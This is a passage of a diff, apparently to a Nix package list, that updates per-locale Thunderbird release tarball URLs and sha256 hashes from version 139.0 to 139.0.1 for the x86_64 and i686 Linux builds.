+      sha256 = "b30963504f613e8d4bfc3ab437fe89a9717a3272979b09fab62892e27aacf684";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/sr/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/sr/thunderbird-139.0.1.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "fe49124005cbb8e7448e2a2bc136f2128d7db08a73b16d106c0318e84389b9fe";
+      sha256 = "23a56276622b8554b0d6dee30974b7927112551f7c5fa865abd1721832d9a6a3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/sv-SE/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/sv-SE/thunderbird-139.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "92e30e054c660ccb19be54e0a877abc2ba10367575ce37c2f877d46481edf9a4";
+      sha256 = "952383ddebe9e9f04f2a3e9be865d79dffd660ad3c3a696d2306a2fef1d843f2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/th/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/th/thunderbird-139.0.1.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "d9d4ce5c403865b554f899419cf1606896226857fc811d5002084196ba0afbee";
+      sha256 = "4481ef7dfe05cb9ebedf2b542d4ae9a649697e633cd2ee2aabb048b0a2940946";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/tr/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/tr/thunderbird-139.0.1.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "688e13ed1e9d7f97b1861d51c6fe0e8003e034c6feb391386cb43593ba19ddc7";
+      sha256 = "4d8e64531ed430f862db230ee536c249047267bbfbb7bcf5da519cf0c71a7d09";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/uk/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/uk/thunderbird-139.0.1.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "6a57e4c60b6c75258eaf856c4d680f7e60c4e97908740e7becfa8246e07dab59";
+      sha256 = "26406671dcbc9827402ba888ddf5bdd812490cee2f3feea4692b8a7ae082d9c2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/uz/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/uz/thunderbird-139.0.1.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "2eb9707fd675dbecba020a384d52381418642e818693a719d57a2b3a46233ab4";
+      sha256 = "a5a4031870f5466624b6ae1a199ffa91d94cb445f5c0aaaabedf162e0d0ab991";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/vi/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/vi/thunderbird-139.0.1.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "3d8062756bb67088f492c63abae0196434f1f93bafd42fd6ba31902348a41e13";
+      sha256 = "e21d0c70bf8b7c6873d9694ded72d71448da2d72c4eb3e44259af2110e6a7dfb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/zh-CN/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/zh-CN/thunderbird-139.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "43f63eabe89b1eeadb7c6e96f9cfaa9ea1f7a0efc4822ba4322117fd6b489390";
+      sha256 = "e7dcd9677cba509ceaebe28495250f92601dcaba554ea08dd8f57a69c3cb9b9f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/zh-TW/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/zh-TW/thunderbird-139.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "23d15794e5ad9d0a656e627b3b480411f22433eb0954ade97a9b6f4327fbec49";
+      sha256 = "60e3a1e633187e3f123ffcfc34f54298e1fa58f1909798f3a5d7f91636e76e20";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/af/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/af/thunderbird-139.0.1.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "e6df1b5ed2b0f4683228f4c5bc39242b8a9cf5b8a0a250abbbcbb1a78fb88321";
+      sha256 = "1d15d538349db0b36c2eed61d72588a13fec14320d1ab7603470d16637e7e5cd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ar/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ar/thunderbird-139.0.1.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "14137218644380f9e67a053d61e619767359a8bac3b4036562967aa5e3d5e3de";
+      sha256 = "ae52f131ea8b59be872780f6909336c726cf347790f3fb08b05514a62060dc9e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ast/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ast/thunderbird-139.0.1.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "c6c90de75261b2fe7043129321cd7b0c5c30bda8d286f9cb01d6e9d4f74970a8";
+      sha256 = "e3f71fce236d5c6f1a820f9afe94059289a73fc19ff366ba5db94559c8276415";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/be/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/be/thunderbird-139.0.1.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "ee48b4bcc87601b3e780643eb9352714ba0ac1ab0f554fc90cdaad57555b0863";
+      sha256 = "42723214b091f79dab334315ffb2c6b08da6403f1a54e0a1bcc8facc80577b43";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/bg/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/bg/thunderbird-139.0.1.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "3f76f7db424cd350a0ec3cf0b26305c9805d1559069fab1c656b4f52d983e378";
+      sha256 = "7c8acc9c1140ed0e81f60954542666c31c138cc496586321f35e6ec329ec3441";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/br/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/br/thunderbird-139.0.1.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "618b0da481e6c356fda6b0536dd84c11dcf0a2c73ef7dd9a015683a94bb34751";
+      sha256 = "0b93c04e9359eda1e965205f835f9f99555cd40dee0c06c2aa09307fd3746ab4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ca/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ca/thunderbird-139.0.1.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "3d0879a9be2091a4f72254826624203e2e7d3b3c1bea5ec9a74cb89e3c390654";
+      sha256 = "b9b1404b2113ba5ae51eaa7aca2d8f1b3bc1659a7a00ecfae78dbe79ab31b892";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/cak/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/cak/thunderbird-139.0.1.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "fad8eaf3dccf8e50c514118e1dc091a6e19c59dd4c2042ada163cedae0c40858";
+      sha256 = "45d5b6f0a9729b6d8b3c8fd81b13f26794fadcd99faadbb6f213399475ffcc0c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/cs/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/cs/thunderbird-139.0.1.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "ddc92e4d02b1efa457c94bd13014c434ca74a15cebe25f194e7567309d2ec7da";
+      sha256 = "ef220581d2288a88603c1d543031751259ac26bf9cccfd5f26b38e005cb739d4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/cy/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/cy/thunderbird-139.0.1.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "2b9fc5863f4211e2f7ad99b5fffef97e931068ea4ab2c0df456482372b7ef80f";
+      sha256 = "397e567faf08dfa288ab73d29a79e8b388dec4a1d8f90b6479dd6ecd3bec3a05";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/da/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/da/thunderbird-139.0.1.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "4f37515f68731ad67f5b6961cf9751f6be7da6f60c317d06486999bec2ad36b0";
+      sha256 = "ffdce843d5c4157892fc1f361339922626fc0046b32d85d8fbda6e8b9f960f2f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/de/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/de/thunderbird-139.0.1.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "cd4040c698090036415a80cb170a648b326e4e174df79d57b691ca001ead820a";
+      sha256 = "d4b6f8b0c59df2b08bd076226c4b8a560f7e7bec9a686287a95375e48673bbdf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/dsb/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/dsb/thunderbird-139.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "cc1e46beb5cdbd2108cc08be2ddffae0a624297220aff479fe09d67ed1a493c3";
+      sha256 = "7c258641dc9b1cf94fbb22e001d71dc8b8a1aa6a51f171fecffa5e2b8fba1974";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/el/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/el/thunderbird-139.0.1.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "5b6f1d105c67fa6229c75023fa318a7ba1c7d76d6da82c12f57d32694e118ea7";
+      sha256 = "c8408efa15dccdcc631d9d0e70328277b89d91395c03e0107db6e100932b8365";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/en-CA/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/en-CA/thunderbird-139.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "f1511ed4b4f441b1c6f339eab3e5fa2664de05c569f069740204acc758823057";
+      sha256 = "687f11e03112259e0bfef9c377438fdceef611833c6a8c4fcd5d250ceeeed7a1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/en-GB/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/en-GB/thunderbird-139.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "ed758c43c9fbe6a95cc4d08748374270a0c3f4109d076e7eae7de91d95168c21";
+      sha256 = "e18ff3ad8b0cdace5a35943e8fcc8f1131b04b8507968141c939fc54a96dbfb1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/en-US/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/en-US/thunderbird-139.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "cb3e8bc577d6ebcea0222ea712cd3e5f086bce72f8567444722ff1f17c8d469c";
+      sha256 = "7be84f87ba47c787306e25b784faf1c867116df6d24ccecd88178761ab63e205";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/es-AR/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/es-AR/thunderbird-139.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "4c5d67e60326b1eec69d6cf302863d7f521e8c471f7426c97bba404dd3bbec46";
+      sha256 = "e83daaf389dd8a88bc6bbe0b6939306b76a8859b20a8d239e53660e2f0ce23d6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/es-ES/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/es-ES/thunderbird-139.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "76d75d7b97815d5acb6a42592a219d5528ee83675c4acd888a1e5d98964545dc";
+      sha256 = "c6738cda3b5ad0621d00b08e40003814cfb314bf18dcab9e65c5c328ddb45c49";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/es-MX/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/es-MX/thunderbird-139.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "eae45d64869521bad908af05cd595ce5a05c6c53f4d0019c5e8228883c8b907d";
+      sha256 = "5ad3b6ea069de42e012de197fd5b71b85a64b9654352643932fe807fae20678b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/et/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/et/thunderbird-139.0.1.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "d3b0488a56623e0cc1f156b8a825d21c85ae265ced3bc4a9337a13b2c66c2718";
+      sha256 = "d8e6d717094b9fe472e41fcd0c3580bd238bcf4aaa9ecbcd2c75523cd9e4486c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/eu/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/eu/thunderbird-139.0.1.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "fff16b5a11f5e959dc5c3b731a9c2e57ac1e8c116ffd1c44f2eb83eb0269c2b3";
+      sha256 = "6514de42116b9c08a55c354b48fb8021c3b6e938c3cec7fa8ff841b0ec80746e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/fi/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/fi/thunderbird-139.0.1.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "f45c4c5c8f26e747ef996fee9ff84a1417dcf270c6f2cf66ec6619d6c41a2e18";
+      sha256 = "8833b2ef6795169c64c3e79710da763f0557aa238ba96b48c243897392c5448b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/fr/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/fr/thunderbird-139.0.1.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "3a832ef894712cc5b6ba874e58545aeb9bb7a60360ef27c544ad624b2a6edb3f";
+      sha256 = "7c43c2b468126e6896c81865231b58252eff161f05233f8bd138eae1c8b50202";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/fy-NL/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/fy-NL/thunderbird-139.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "0252215a25fbe2f87042c6a0010de1e50336c4851e8c388bddd632a32b625898";
+      sha256 = "d7d2d40d3ef80e73bb0f8b1f46db1047956141eb97890bbf62da93f15eda0fa5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ga-IE/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ga-IE/thunderbird-139.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "01e66dbb8dad8e7dbf83985e9eae32a0ae4abe453a6e15548d813b9c2ce7ce79";
+      sha256 = "18bffb4c40006542d7c424f4982aeb66b7a62d8fb79a0843233259845d403ded";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/gd/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/gd/thunderbird-139.0.1.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "6a40f905994a5ccbe958143ac55fb2b03b2f0046751eab8e1621d67b4b472ae4";
+      sha256 = "ba3b1257e17a34f439d547e17dc92bce4bfcff011bc30645e5263adbcb832dfa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/gl/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/gl/thunderbird-139.0.1.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "4ab320599ca299326037e78a730fc37d446c1a5f00aa9cea1743138596f13fee";
+      sha256 = "e48ba55f3de376de84367144e229e700c7742a35c0d99d7cf51f9dae2ea101f9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/he/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/he/thunderbird-139.0.1.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "1480bf2b6aa48f3419ac95df3d6eb73637e4c920f0380bc0d531224de6c8bef0";
+      sha256 = "29d005b87b06c23e83a2a3140d426b61afe0d780e6cdf01218f27009eb9a2cb3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/hr/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/hr/thunderbird-139.0.1.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "65a667c812826affe4d7734dbea4c5a0fb2ec6e24315545a5339240430d38c1b";
+      sha256 = "f8356de708cbfb31694994d8a5577b15d1da949e2c6519db43de1df68ad939f7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/hsb/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/hsb/thunderbird-139.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "836e26d55a4a58beb5a26650f910e2e522d6fa2b98a3645d3514496d5cbccabe";
+      sha256 = "95fde141c0f7eb7831dca8b0e293e112fedb36abc0e618e087a734afa871b042";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/hu/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/hu/thunderbird-139.0.1.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "f5347366588703bf3f98441db56431b4a1903b38cd349ec53be6503a42ac990e";
+      sha256 = "f15f8d007557902fe5cd94c619dd9a5ed5e035a7662045b52365c8e668098202";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/hy-AM/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/hy-AM/thunderbird-139.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "9a9ae5c9bafb90fc22aaf6c3ae22e58eeb0237d1d48c253046a723e993b21591";
+      sha256 = "3820c40298cc4ffeed3e490b21670831491e8c66233c931ada2b5960a8a79e18";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/id/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/id/thunderbird-139.0.1.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "0b720169f6fbf34dd8866b6f08669338af02b064461244e73dc02e2d47b540be";
+      sha256 = "542d56aa3f2ab044e785751961863cd8e9519d20b87b925c58f9a8b9bd00c9bc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/is/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/is/thunderbird-139.0.1.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "b4e032102c3f066d7168d80823c4acd8a723a1efc2d54fcb627e47b27836b8c7";
+      sha256 = "5dff94a55e9b9723260bed5fcba6b555db801d78bf4ecfc41f4e27026d8f27ab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/it/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/it/thunderbird-139.0.1.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "c80fa59aaf1d5ad7ce9ff12733e4ecc2fb3740e8aa8fa68e57c5cc275a84a0ba";
+      sha256 = "ae0507e5e7434d7356fc9032b7ae80616f06d418d6d40e14600f9209589def2c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ja/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ja/thunderbird-139.0.1.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "dba5e61bf92c5e1de64dd53cd768cc3d4f8621d0efd8104a068f9022dd40fd08";
+      sha256 = "f3f192c5d6c4e1e9413176558a0c0c0c7b4c0113fdf70a20914d31168be38fef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ka/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ka/thunderbird-139.0.1.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "0284d175b41c074ba864a035dd31765bd7593c0d8524d468f20ed43115f60d92";
+      sha256 = "ff2232dd9bf76a8c5441ffd236119f295c256e7be00e6d2749a48ecb76972de0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/kab/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/kab/thunderbird-139.0.1.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "b0f1741667b9a3ca0cf6122e043361763401d6351e9c53679ee5ff3ce4a92d13";
+      sha256 = "c4012accbb46cd8df5ed4c844260aa2c10d7eb2ce54b7d941b764f2e6375e192";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/kk/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/kk/thunderbird-139.0.1.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "1e9b291160b8a901955ca830c37927c4c07115ad6afc503bcfbf76eee8d1a77e";
+      sha256 = "161903075b38e3b0325d3498ff90a6aea5b9d30c75e0d2ce17609cf2277146e6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ko/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ko/thunderbird-139.0.1.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "d376f06222f27eab6d50b91c36e06fec09efbe75479c4e0461b5f9b9344a76ab";
+      sha256 = "3d787e9325240eed91c71fd1d1c2b8583aa752de2e6d1b752570e79d36cc4f62";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/lt/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/lt/thunderbird-139.0.1.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "24523eae3d11246032dfda9bdf3416aa5fab19332cd30d64ef631ee8837af8ea";
+      sha256 = "ca62775af1973bd974539473f537ff82f9128da59266d8adb5c5c99306eb0e28";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/lv/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/lv/thunderbird-139.0.1.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "69a290d9fd1b227f007d6154868fb73ed0099704c0238ec11f560126dca6aedc";
+      sha256 = "85147ae97925a844e5de2316eac150aae9dc3e6dca5b2bfe66646337c22a3415";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ms/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ms/thunderbird-139.0.1.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "7bfd003d7ce6966bf2d61703ff986d7d22dd2fdcff975b0bff2bb995deca21e2";
+      sha256 = "7049904b69a2d0d442913029bf697813698f7fb29895fc1d8f5565860679616e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/nb-NO/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/nb-NO/thunderbird-139.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "55adb9926dca7153895c3dfe4758bce54ae6930f1bf81af1bd71f718b7bcf064";
+      sha256 = "4fe8cec28f0a490e6a0bd47539256f6acc27a3d17f52b7cbad5aec0dd2f9a0a7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/nl/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/nl/thunderbird-139.0.1.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "bb9486fff0daf01972b63fe12b53828bc27c1bf9a617b3fc3d34e67458fe0d4f";
+      sha256 = "4c3e0b81cafea3c68b10b452dfa7170dbc98a741f6ec009d9daec4a7652f0e0b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/nn-NO/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/nn-NO/thunderbird-139.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "34da26b4048a0942ea13225fdf427ad16c86508812c3fc5e6aec44f78323dba9";
+      sha256 = "0f53a85a01d693b8e88fa329b3fb846d67a8503a1fa8ded27a46d61222054a22";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/pa-IN/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/pa-IN/thunderbird-139.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "9816726ab770efe86cc826df157174df695021bf51f1966115337238dc0298cf";
+      sha256 = "ac8c0e32720160999bfa900112a1c2c6a3a0257f511ca92db5949fe159974fc0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/pl/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/pl/thunderbird-139.0.1.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "a22df85fb46cf0ab9453bc4785656ebc791c96940231726622bfb0147d350785";
+      sha256 = "517a0474056fe86cf5b9bb27202888f28c8af3054b131d3f35e5714ec1440880";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/pt-BR/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/pt-BR/thunderbird-139.0.1.tar.xz";
       locale = "pt-BR";
